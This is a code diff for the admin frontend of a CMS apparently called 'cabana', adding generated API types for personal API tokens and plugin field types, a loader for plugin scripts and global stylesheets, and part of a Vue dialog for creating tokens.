content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
put?: never;
|
||||
post?: never;
|
||||
delete?: never;
|
||||
options?: never;
|
||||
head?: never;
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/account/tokens/{id}": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
get?: never;
|
||||
put?: never;
|
||||
post?: never;
|
||||
/**
|
||||
* Revoke an API token
|
||||
* @description Soft-revokes one of the signed-in admin's active personal API tokens. Personal API tokens are refused (403 interactive_only).
|
||||
*/
|
||||
delete: {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path: {
|
||||
/** @description Token id */
|
||||
id: number;
|
||||
};
|
||||
cookie?: never;
|
||||
};
|
||||
requestBody?: never;
|
||||
responses: {
|
||||
/** @description OK */
|
||||
200: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.Envelope-cabana_AdminAPIToken"];
|
||||
};
|
||||
};
|
||||
/** @description Unauthorized */
|
||||
401: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Forbidden */
|
||||
403: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Not Found */
|
||||
404: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
options?: never;
|
||||
head?: never;
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/auth/login": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
@@ -449,6 +690,72 @@ export interface paths {
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/field-types": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
/**
|
||||
* Plugin field types
|
||||
* @description Every admin form field type a plugin registers (pact.HasFormFieldTypes), sorted by name, with the URLs of its scripts and stylesheets (each with a ?v= content hash). The admin loads every script once after sign-in and keeps every stylesheet enabled on all pages; a form field whose `element` is set renders that custom element. An empty list when no plugin registers a type. Any backend session may call it.
|
||||
*/
|
||||
get: {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
requestBody?: never;
|
||||
responses: {
|
||||
/** @description OK */
|
||||
200: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.FieldTypesResponse"];
|
||||
};
|
||||
};
|
||||
/** @description Unauthorized */
|
||||
401: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Forbidden */
|
||||
403: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Not Found */
|
||||
404: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
put?: never;
|
||||
post?: never;
|
||||
delete?: never;
|
||||
options?: never;
|
||||
head?: never;
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/lang": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
@@ -991,7 +1298,7 @@ export interface paths {
|
||||
put?: never;
|
||||
/**
|
||||
* Create an admin record
|
||||
* @description Relation fields are sent by field name with ids ({"genre": 3, "artists": [4, 9]}); the response carries the same shape plus meta.labels.
|
||||
* @description Relation fields are sent by field name with ids ({"genre": 3, "artists": [4, 9]}); the response carries the same shape plus meta.labels. A plugin field type's value is decoded by its type inside the save; when a type reports what it changed, meta.notices lists the localized messages per field (and content locale), and the key is absent otherwise.
|
||||
*/
|
||||
post: {
|
||||
parameters: {
|
||||
@@ -1514,7 +1821,7 @@ export interface paths {
|
||||
};
|
||||
/**
|
||||
* Admin form schema
|
||||
* @description The form of a controller, localized. `preview` is present when config_form.yaml declares a preview block: the form then has a read-only preview screen, which shows the fields whose context allows preview, the record actions and, when preview.headerPartial is set, that partial as a status hint. A `type: password` field and every other field the controller lists as virtual is sent in a save body and never has a value in a record response. `preset` on a text or mltext field names the text or mltext field it follows on the create form (type slug or exact; an mltext pair follows per locale) until the administrator edits it. A `type: permissioneditor` field carries `permissionOptions`, the permissions the controller offers the requesting administrator; its value in a record response and in a save body is an object of permission code to integer (radio mode 1 or -1, checkbox mode 1). A `type: relation` field over a protected foreign key is `readOnly` unless its contract declares the key writable.
|
||||
* @description The form of a controller, localized. `preview` is present when config_form.yaml declares a preview block: the form then has a read-only preview screen, which shows the fields whose context allows preview, the record actions and, when preview.headerPartial is set, that partial as a status hint. A `type: password` field and every other field the controller lists as virtual is sent in a save body and never has a value in a record response. `preset` on a text or mltext field names the text or mltext field it follows on the create form (type slug or exact; an mltext pair follows per locale) until the administrator edits it. A `type: permissioneditor` field carries `permissionOptions`, the permissions the controller offers the requesting administrator; its value in a record response and in a save body is an object of permission code to integer (radio mode 1 or -1, checkbox mode 1). A `type: relation` field over a protected foreign key is `readOnly` unless its contract declares the key writable. A field whose type a plugin registers carries `element` (the custom-element tag the admin renders), `translatable` (its value is an object of content locale to string) and `typeOptions` (the type's own fields.yaml keys).
|
||||
*/
|
||||
get: {
|
||||
parameters: {
|
||||
@@ -1965,7 +2272,10 @@ export interface paths {
|
||||
};
|
||||
};
|
||||
};
|
||||
/** Update an admin record */
|
||||
/**
|
||||
* Update an admin record
|
||||
* @description A plugin field type's value is decoded by its type inside the save; a value equal to the one the form was served for that field and locale is neither decoded nor written. When a type reports what it changed, meta.notices lists the localized messages per field (and content locale), and the key is absent otherwise.
|
||||
*/
|
||||
put: {
|
||||
parameters: {
|
||||
query?: never;
|
||||
@@ -2211,6 +2521,111 @@ export interface paths {
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
get?: never;
|
||||
put?: never;
|
||||
/**
|
||||
* Upload a file for a plugin field type
|
||||
* @description Stores one multipart part named file through the Upload of the field's plugin field type (pact.FormFieldType) and answers its URL. id 0 is the create form and passes no record; any other id loads the record through the controller's FormExtendQuery scope. A field that is not in the form, has a built-in type, has a type without Upload or whose context does not allow the operation answers 404, as does a record outside the scope. A body over http.body_limits.upload_bytes answers 413; a malformed body, a second part or a value the type refuses (pact.FormFieldError) answers 422 on the field.
|
||||
*/
|
||||
post: {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path: {
|
||||
/** @description Vendor */
|
||||
vendor: string;
|
||||
/** @description Plugin */
|
||||
plugin: string;
|
||||
/** @description Controller */
|
||||
controller: string;
|
||||
/** @description Record id (0 for the create form) */
|
||||
id: number;
|
||||
/** @description Field name */
|
||||
field: string;
|
||||
};
|
||||
cookie?: never;
|
||||
};
|
||||
requestBody: {
|
||||
content: {
|
||||
"multipart/form-data": {
|
||||
/**
|
||||
* Format: binary
|
||||
* @description The file
|
||||
*/
|
||||
file: string;
|
||||
};
|
||||
};
|
||||
};
|
||||
responses: {
|
||||
/** @description Created */
|
||||
201: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.Envelope-cabana_FieldUploadResponse"];
|
||||
};
|
||||
};
|
||||
/** @description Unauthorized */
|
||||
401: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Forbidden */
|
||||
403: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Not Found */
|
||||
404: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Request Entity Too Large */
|
||||
413: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Unprocessable Entity */
|
||||
422: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
delete?: never;
|
||||
options?: never;
|
||||
head?: never;
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/{vendor}/{plugin}/{controller}/{id}/files/{field}": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
@@ -4495,6 +4910,41 @@ export interface paths {
|
||||
export type webhooks = Record<string, never>;
|
||||
export interface components {
|
||||
schemas: {
|
||||
"cabana.AdminAPIToken": {
|
||||
created_at: string;
|
||||
expired: boolean;
|
||||
expires_at: string;
|
||||
hint: string;
|
||||
id: number;
|
||||
last_used_at: string;
|
||||
name: string;
|
||||
revoked_at: string;
|
||||
scopes: components["schemas"]["cabana.AdminAPITokenScope"][];
|
||||
};
|
||||
"cabana.AdminAPITokenCreated": {
|
||||
created_at: string;
|
||||
expired: boolean;
|
||||
expires_at: string;
|
||||
hint: string;
|
||||
id: number;
|
||||
last_used_at: string;
|
||||
name: string;
|
||||
revoked_at: string;
|
||||
scopes: components["schemas"]["cabana.AdminAPITokenScope"][];
|
||||
token: string;
|
||||
};
|
||||
"cabana.AdminAPITokenRequest": {
|
||||
expires: string;
|
||||
name: string;
|
||||
scopes: string[];
|
||||
};
|
||||
"cabana.AdminAPITokenScope": {
|
||||
description: string;
|
||||
known: boolean;
|
||||
label: string;
|
||||
name: string;
|
||||
read_only: boolean;
|
||||
};
|
||||
"cabana.AdminAccountRequest": {
|
||||
current_password?: string;
|
||||
email: string;
|
||||
@@ -4600,6 +5050,14 @@ export interface components {
|
||||
scripts: string[];
|
||||
styles: string[];
|
||||
};
|
||||
"cabana.Envelope-array_cabana_AdminAPIToken": {
|
||||
data: components["schemas"]["cabana.AdminAPIToken"][];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.Envelope-array_cabana_AdminAPITokenScope": {
|
||||
data: components["schemas"]["cabana.AdminAPITokenScope"][];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.Envelope-array_cabana_FileItem": {
|
||||
data: components["schemas"]["cabana.FileItem"][];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
@@ -4616,6 +5074,14 @@ export interface components {
|
||||
data: components["schemas"]["cabana.SettingsEntry"][];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.Envelope-cabana_AdminAPIToken": {
|
||||
data: components["schemas"]["cabana.AdminAPIToken"];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.Envelope-cabana_AdminAPITokenCreated": {
|
||||
data: components["schemas"]["cabana.AdminAPITokenCreated"];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.Envelope-cabana_AdminActionResult": {
|
||||
data: components["schemas"]["cabana.AdminActionResult"];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
@@ -4648,6 +5114,10 @@ export interface components {
|
||||
data: components["schemas"]["cabana.BulkResult"];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.Envelope-cabana_FieldUploadResponse": {
|
||||
data: components["schemas"]["cabana.FieldUploadResponse"];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.Envelope-cabana_FileItem": {
|
||||
data: components["schemas"]["cabana.FileItem"];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
@@ -4694,10 +5164,29 @@ export interface components {
|
||||
"cabana.ErrorEnvelope": {
|
||||
error: components["schemas"]["cabana.ErrorBody"];
|
||||
};
|
||||
"cabana.FieldNotice": {
|
||||
field: string;
|
||||
locale?: string;
|
||||
message: string;
|
||||
};
|
||||
"cabana.FieldPreset": {
|
||||
field: string;
|
||||
type: string;
|
||||
};
|
||||
"cabana.FieldTypeAssets": {
|
||||
element: string;
|
||||
name: string;
|
||||
scripts: string[];
|
||||
styles: string[];
|
||||
translatable: boolean;
|
||||
};
|
||||
"cabana.FieldTypesResponse": {
|
||||
data: components["schemas"]["cabana.FieldTypeAssets"][];
|
||||
meta: components["schemas"]["cabana.SuccessMeta"];
|
||||
};
|
||||
"cabana.FieldUploadResponse": {
|
||||
url: string;
|
||||
};
|
||||
"cabana.FileItem": {
|
||||
content_type: string;
|
||||
created_at: string;
|
||||
@@ -4736,6 +5225,11 @@ export interface components {
|
||||
*/
|
||||
deferrable?: boolean;
|
||||
displayFormat?: string;
|
||||
/**
|
||||
* @description Element is the custom-element tag of a field whose type a plugin
|
||||
* registers (pact.HasFormFieldTypes); the admin renders it for the field.
|
||||
*/
|
||||
element?: string;
|
||||
emptyOption?: string;
|
||||
/** @description FileTypes are the allowed lower-case extensions of a fileupload field. */
|
||||
fileTypes?: string[];
|
||||
@@ -4812,9 +5306,21 @@ export interface components {
|
||||
tab?: string;
|
||||
/** @description ThumbOptions carries the preview thumbnail mode. */
|
||||
thumbOptions?: components["schemas"]["cabana.ThumbOptions"];
|
||||
/**
|
||||
* @description Translatable is true when a plugin field type's value is a map of
|
||||
* content locale to string.
|
||||
*/
|
||||
translatable?: boolean;
|
||||
/** @description TwelveHour shows a 12-hour clock. */
|
||||
twelveHour?: boolean;
|
||||
type: string;
|
||||
/**
|
||||
* @description TypeOptions are a plugin field type's own fields.yaml keys and values;
|
||||
* the admin hands them to the element as JSON.
|
||||
*/
|
||||
typeOptions?: {
|
||||
[key: string]: unknown;
|
||||
};
|
||||
/** @description UseCaption lets the admin edit each file's title and description. */
|
||||
useCaption?: boolean;
|
||||
/** @description Widget is the custom-element tag of a `type: widget` field (D-06). */
|
||||
@@ -5025,6 +5531,7 @@ export interface components {
|
||||
labels: {
|
||||
[key: string]: components["schemas"]["cabana.RelationOption"][];
|
||||
};
|
||||
notices?: components["schemas"]["cabana.FieldNotice"][];
|
||||
};
|
||||
"cabana.RelationColumn": {
|
||||
key: string;
|
||||
|
||||
@@ -15,6 +15,14 @@ export type AdminProfile = Schemas['cabana.AdminProfile']
|
||||
export type AdminAvatar = Schemas['cabana.AdminAvatar']
|
||||
/** Body of PUT /account: the only keys My account may change. */
|
||||
export type AdminAccountRequest = Schemas['cabana.AdminAccountRequest']
|
||||
/** One personal API token row on My account (list and revoke). */
|
||||
export type AdminAPIToken = Schemas['cabana.AdminAPIToken']
|
||||
/** Create response: the list row plus the plaintext shown once. */
|
||||
export type AdminAPITokenCreated = Schemas['cabana.AdminAPITokenCreated']
|
||||
/** Body of POST /account/tokens. */
|
||||
export type AdminAPITokenRequest = Schemas['cabana.AdminAPITokenRequest']
|
||||
/** One scope offered by GET /account/tokens/scopes or stored on a token. */
|
||||
export type AdminAPITokenScope = Schemas['cabana.AdminAPITokenScope']
|
||||
export type NavigationEntry = Schemas['cabana.NavigationEntry']
|
||||
export type SettingsEntry = Schemas['cabana.SettingsEntry']
|
||||
export type SettingsResult = Schemas['cabana.SettingsResult']
|
||||
@@ -54,6 +62,12 @@ export type AdminActionRequest = Schemas['cabana.AdminActionRequest']
|
||||
export type AdminActionResult = Schemas['cabana.AdminActionResult']
|
||||
/** A controller's plugin script and stylesheet URLs under {base}/assets/. */
|
||||
export type ControllerAssets = Schemas['cabana.ControllerAssets']
|
||||
/** A plugin field type: alias, element tag, translatable flag and its asset URLs. */
|
||||
export type FieldTypeAssets = Schemas['cabana.FieldTypeAssets']
|
||||
/** Answer of a plugin field type upload: the URL of the stored file. */
|
||||
export type FieldUploadResponse = Schemas['cabana.FieldUploadResponse']
|
||||
/** One save notice of a plugin field type: field, content locale and message. */
|
||||
export type FieldNotice = Schemas['cabana.FieldNotice']
|
||||
/** A registered toolbar action the admin may run, with its localized label. */
|
||||
export type ToolbarAction = Schemas['cabana.ToolbarAction']
|
||||
/** One node of a rendered partial: an allowlisted element or a text node. */
|
||||
|
||||
52
admin/src/app/fieldTypes.ts
Normal file
52
admin/src/app/fieldTypes.ts
Normal file
@@ -0,0 +1,52 @@
|
||||
// Plugin field types (pact.HasFormFieldTypes, D-13). After sign-in the SPA
|
||||
// asks GET {api}/field-types once and loads every type's scripts as module
|
||||
// scripts (each URL once, through loadScript) and its stylesheets as global
|
||||
// links that no navigation disables, so a type's element works in any
|
||||
// controller's form. Nothing here ever rejects: a script that fails to load
|
||||
// surfaces later as that field's failure state.
|
||||
import { api } from '../api/client'
|
||||
import type { FieldTypeAssets } from '../api/types'
|
||||
import { loadGlobalStyles, loadScript } from './pluginAssets'
|
||||
|
||||
// Element tag -> the script URLs of its type that failed to load.
|
||||
const scriptsByElement = new Map<string, Promise<string[]>>()
|
||||
|
||||
/**
|
||||
* Fetches the registered field types, starts loading their scripts and
|
||||
* enables their styles. Resolves with the list (empty on any failure)
|
||||
* without waiting for the scripts.
|
||||
*/
|
||||
export async function loadFieldTypes(): Promise<FieldTypeAssets[]> {
|
||||
let types: FieldTypeAssets[] = []
|
||||
try {
|
||||
const { data, response } = await api.GET('/field-types')
|
||||
types = response.ok && data ? data.data : []
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
for (const type of types) {
|
||||
loadGlobalStyles(type.styles ?? [])
|
||||
const urls = type.scripts ?? []
|
||||
scriptsByElement.set(
|
||||
type.element,
|
||||
Promise.allSettled(urls.map((url) => loadScript(url))).then((results) =>
|
||||
urls.filter((_, index) => results[index]?.status === 'rejected'),
|
||||
),
|
||||
)
|
||||
}
|
||||
return types
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves once the scripts of the field type that defines `element` have
|
||||
* loaded or failed, with the URLs that failed; at once with none when the
|
||||
* element belongs to no loaded field type.
|
||||
*/
|
||||
export function fieldTypeScripts(element: string): Promise<string[]> {
|
||||
return scriptsByElement.get(element) ?? Promise.resolve([])
|
||||
}
|
||||
|
||||
/** Forgets the loaded field types (tests and a new session). */
|
||||
export function resetFieldTypes(): void {
|
||||
scriptsByElement.clear()
|
||||
}
|
||||
@@ -7,7 +7,10 @@
|
||||
// every navigation to another controller or to a screen that is not a
|
||||
// controller view, so plugin CSS never styles a view it was not written for.
|
||||
// Only the router picks the enabled controller; a schema response that
|
||||
// arrives after its view was left adds its links disabled.
|
||||
// arrives after its view was left adds its links disabled. Stylesheets of
|
||||
// plugin field types are global instead (GLOBAL_STYLE_OWNER): a field type's
|
||||
// element can appear in any controller's form, so its links are never
|
||||
// disabled on navigation.
|
||||
// Files load only through script and link elements; nothing here fetches.
|
||||
import type { ControllerAssets } from '../api/types'
|
||||
import { runtime } from './runtime'
|
||||
@@ -15,6 +18,9 @@ import { runtime } from './runtime'
|
||||
/** Attribute naming the controller that owns a plugin stylesheet link. */
|
||||
export const OWNER_ATTRIBUTE = 'data-summer-controller'
|
||||
|
||||
/** Owner of stylesheet links that stay enabled on every screen (field types). */
|
||||
export const GLOBAL_STYLE_OWNER = '*'
|
||||
|
||||
const scripts = new Map<string, Promise<void>>()
|
||||
// Links by controller and URL: two controllers of one plugin may share a
|
||||
// file, and each keeps its own link so disabling one never hides the other.
|
||||
@@ -90,7 +96,7 @@ export function loadStyles(controllerId: string, urls: readonly string[]): void
|
||||
const link = document.createElement('link')
|
||||
link.rel = 'stylesheet'
|
||||
link.setAttribute(OWNER_ATTRIBUTE, controllerId)
|
||||
link.disabled = controllerId !== active
|
||||
link.disabled = !styleEnabled(controllerId)
|
||||
link.href = url
|
||||
styles.set(key, { owner: controllerId, link })
|
||||
document.head.appendChild(link)
|
||||
@@ -105,10 +111,23 @@ export function loadStyles(controllerId: string, urls: readonly string[]): void
|
||||
export function activateStyles(controllerId: string): void {
|
||||
active = controllerId
|
||||
for (const { owner, link } of styles.values()) {
|
||||
link.disabled = owner !== active
|
||||
link.disabled = !styleEnabled(owner)
|
||||
}
|
||||
}
|
||||
|
||||
/** Whether links of this owner are enabled now: the active controller's and the global ones. */
|
||||
function styleEnabled(owner: string): boolean {
|
||||
return owner === GLOBAL_STYLE_OWNER || owner === active
|
||||
}
|
||||
|
||||
/**
|
||||
* Adds stylesheet links that stay enabled on every screen: the styles of
|
||||
* plugin field types, whose elements may render in any controller's form.
|
||||
*/
|
||||
export function loadGlobalStyles(urls: readonly string[]): void {
|
||||
loadStyles(GLOBAL_STYLE_OWNER, urls)
|
||||
}
|
||||
|
||||
/**
|
||||
* Adds the controller's stylesheet links and loads its scripts. The links
|
||||
* are enabled only while the router shows that controller, so a response
|
||||
|
||||
614
admin/src/components/account/ApiTokenCreateDialog.vue
Normal file
614
admin/src/components/account/ApiTokenCreateDialog.vue
Normal file
@@ -0,0 +1,614 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onBeforeUnmount, ref, watch } from 'vue'
|
||||
import {
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogOverlay,
|
||||
DialogPortal,
|
||||
DialogRoot,
|
||||
DialogTitle,
|
||||
RadioGroupItem,
|
||||
RadioGroupRoot,
|
||||
} from 'reka-ui'
|
||||
import { Check, CircleAlert, Copy, Info, LoaderCircle, TriangleAlert, X } from '@lucide/vue'
|
||||
import { api } from '../../api/client'
|
||||
import type { AdminAPITokenScope } from '../../api/types'
|
||||
import { t } from '../../app/i18n'
|
||||
import { controlClass } from '../form/control'
|
||||
import { fieldErrors, focusField } from '../form/formState'
|
||||
import Button from '../ui/Button.vue'
|
||||
import { useConfirm } from '../ui/confirm'
|
||||
import { showToast } from '../../state/useToasts'
|
||||
|
||||
// Two-step create dialog (16.3 UI-SPEC §4-5): form, then show-once plaintext.
|
||||
// The plaintext lives only in a local ref and is cleared on close and unmount.
|
||||
const props = defineProps<{
|
||||
open: boolean
|
||||
confirm: ReturnType<typeof useConfirm>
|
||||
}>()
|
||||
const emit = defineEmits<{
|
||||
'update:open': [open: boolean]
|
||||
created: []
|
||||
closed: []
|
||||
}>()
|
||||
|
||||
const ID_PREFIX = 'api-token'
|
||||
const EXPIRY_OPTIONS = [
|
||||
{ value: '30d', label: 'backend::lang.api_tokens.expires_30' },
|
||||
{ value: '90d', label: 'backend::lang.api_tokens.expires_90' },
|
||||
{ value: '365d', label: 'backend::lang.api_tokens.expires_365' },
|
||||
{ value: 'never', label: 'backend::lang.api_tokens.expires_never' },
|
||||
] as const
|
||||
|
||||
const step = ref<1 | 2>(1)
|
||||
const name = ref('')
|
||||
const expires = ref('90d')
|
||||
const checked = ref<Set<string>>(new Set())
|
||||
const scopes = ref<AdminAPITokenScope[]>([])
|
||||
const scopesLoading = ref(false)
|
||||
const scopesFailed = ref(false)
|
||||
const busy = ref(false)
|
||||
const errors = ref<Record<string, string[]>>({})
|
||||
const plaintext = ref('')
|
||||
const copied = ref(false)
|
||||
const copyFailed = ref(false)
|
||||
const copyFlash = ref(false)
|
||||
const announce = ref('')
|
||||
let copyTimer: ReturnType<typeof setTimeout> | null = null
|
||||
|
||||
const nameInput = ref<HTMLInputElement | null>(null)
|
||||
const plaintextInput = ref<HTMLInputElement | null>(null)
|
||||
const copyButton = ref<HTMLElement | null>(null)
|
||||
|
||||
const starChecked = computed(() => checked.value.has('*'))
|
||||
const canSubmit = computed(() => !scopesLoading.value && !scopesFailed.value && scopes.value.length > 0 && !busy.value)
|
||||
|
||||
function pad(value: number): string {
|
||||
return String(value).padStart(2, '0')
|
||||
}
|
||||
|
||||
function localDatePlus(days: number): string {
|
||||
const date = new Date()
|
||||
date.setDate(date.getDate() + days)
|
||||
return `${date.getFullYear()}-${pad(date.getMonth() + 1)}-${pad(date.getDate())}`
|
||||
}
|
||||
|
||||
const expiryPreview = computed(() => {
|
||||
if (expires.value === 'never') {
|
||||
return t('backend::lang.api_tokens.expires_never_note')
|
||||
}
|
||||
const days = expires.value === '30d' ? 30 : expires.value === '365d' ? 365 : 90
|
||||
return t('backend::lang.api_tokens.expires_on', { date: localDatePlus(days) })
|
||||
})
|
||||
|
||||
function clearPlaintext(): void {
|
||||
plaintext.value = ''
|
||||
copied.value = false
|
||||
copyFailed.value = false
|
||||
copyFlash.value = false
|
||||
announce.value = ''
|
||||
if (copyTimer !== null) {
|
||||
clearTimeout(copyTimer)
|
||||
copyTimer = null
|
||||
}
|
||||
}
|
||||
|
||||
function resetForm(): void {
|
||||
step.value = 1
|
||||
name.value = ''
|
||||
expires.value = '90d'
|
||||
checked.value = new Set()
|
||||
errors.value = {}
|
||||
busy.value = false
|
||||
scopesFailed.value = false
|
||||
clearPlaintext()
|
||||
}
|
||||
|
||||
function setOpen(open: boolean): void {
|
||||
emit('update:open', open)
|
||||
}
|
||||
|
||||
async function loadScopes(): Promise<void> {
|
||||
scopesLoading.value = true
|
||||
scopesFailed.value = false
|
||||
scopes.value = []
|
||||
try {
|
||||
const result = await api.GET('/account/tokens/scopes')
|
||||
if (result.data) {
|
||||
const list = result.data.data ?? []
|
||||
scopes.value = list
|
||||
scopesFailed.value = list.length === 0
|
||||
return
|
||||
}
|
||||
scopesFailed.value = true
|
||||
} catch {
|
||||
scopesFailed.value = true
|
||||
} finally {
|
||||
scopesLoading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
watch(
|
||||
() => props.open,
|
||||
(open) => {
|
||||
if (open) {
|
||||
resetForm()
|
||||
void loadScopes()
|
||||
} else {
|
||||
clearPlaintext()
|
||||
step.value = 1
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
function toggleScope(scopeName: string, on: boolean): void {
|
||||
const next = new Set(checked.value)
|
||||
if (scopeName === '*') {
|
||||
if (on) {
|
||||
next.clear()
|
||||
next.add('*')
|
||||
} else {
|
||||
next.delete('*')
|
||||
}
|
||||
} else if (!starChecked.value) {
|
||||
if (on) {
|
||||
next.add(scopeName)
|
||||
} else {
|
||||
next.delete(scopeName)
|
||||
}
|
||||
}
|
||||
checked.value = next
|
||||
if (errors.value.scopes) {
|
||||
const nextErrors = { ...errors.value }
|
||||
delete nextErrors.scopes
|
||||
errors.value = nextErrors
|
||||
}
|
||||
}
|
||||
|
||||
function scopeDisabled(scopeName: string): boolean {
|
||||
return starChecked.value && scopeName !== '*'
|
||||
}
|
||||
|
||||
function selectedScopes(): string[] {
|
||||
if (starChecked.value) {
|
||||
return ['*']
|
||||
}
|
||||
return scopes.value.map((scope) => scope.name).filter((scopeName) => checked.value.has(scopeName))
|
||||
}
|
||||
|
||||
function nameDescribedBy(): string | undefined {
|
||||
const ids = [
|
||||
`${ID_PREFIX}-name-comment`,
|
||||
errors.value.name ? `${ID_PREFIX}-name-error` : '',
|
||||
].filter(Boolean)
|
||||
return ids.length ? ids.join(' ') : undefined
|
||||
}
|
||||
|
||||
async function focusFirstInvalid(): Promise<void> {
|
||||
await nextTick()
|
||||
if (errors.value.name) {
|
||||
focusField(ID_PREFIX, 'name')
|
||||
return
|
||||
}
|
||||
if (errors.value.scopes) {
|
||||
const first = scopes.value.find((scope) => !scopeDisabled(scope.name))
|
||||
const el = first
|
||||
? document.querySelector<HTMLInputElement>(`[data-scope="${CSS.escape(first.name)}"] input[type="checkbox"]`)
|
||||
: null
|
||||
el?.focus()
|
||||
return
|
||||
}
|
||||
if (errors.value.expires) {
|
||||
document.querySelector<HTMLElement>('[data-expiry-segment]')?.focus()
|
||||
}
|
||||
}
|
||||
|
||||
async function onSubmit(): Promise<void> {
|
||||
if (busy.value || !canSubmit.value || step.value !== 1) {
|
||||
return
|
||||
}
|
||||
busy.value = true
|
||||
errors.value = {}
|
||||
try {
|
||||
const result = await api.POST('/account/tokens', {
|
||||
body: { name: name.value, expires: expires.value, scopes: selectedScopes() },
|
||||
})
|
||||
if (result.data) {
|
||||
plaintext.value = result.data.data.token
|
||||
step.value = 2
|
||||
emit('created')
|
||||
await nextTick()
|
||||
copyButton.value?.querySelector('button')?.focus() ?? copyButton.value?.focus()
|
||||
return
|
||||
}
|
||||
if (result.response.status === 422) {
|
||||
errors.value = fieldErrors(result.error?.error.details)
|
||||
await focusFirstInvalid()
|
||||
return
|
||||
}
|
||||
showToast(t('backend::lang.api_tokens.create_failed'), 'danger')
|
||||
} catch {
|
||||
showToast(t('backend::lang.api_tokens.create_failed'), 'danger')
|
||||
} finally {
|
||||
busy.value = false
|
||||
}
|
||||
}
|
||||
|
||||
function markCopied(): void {
|
||||
copied.value = true
|
||||
copyFailed.value = false
|
||||
copyFlash.value = true
|
||||
announce.value = t('backend::lang.api_tokens.copied_announce')
|
||||
if (copyTimer !== null) {
|
||||
clearTimeout(copyTimer)
|
||||
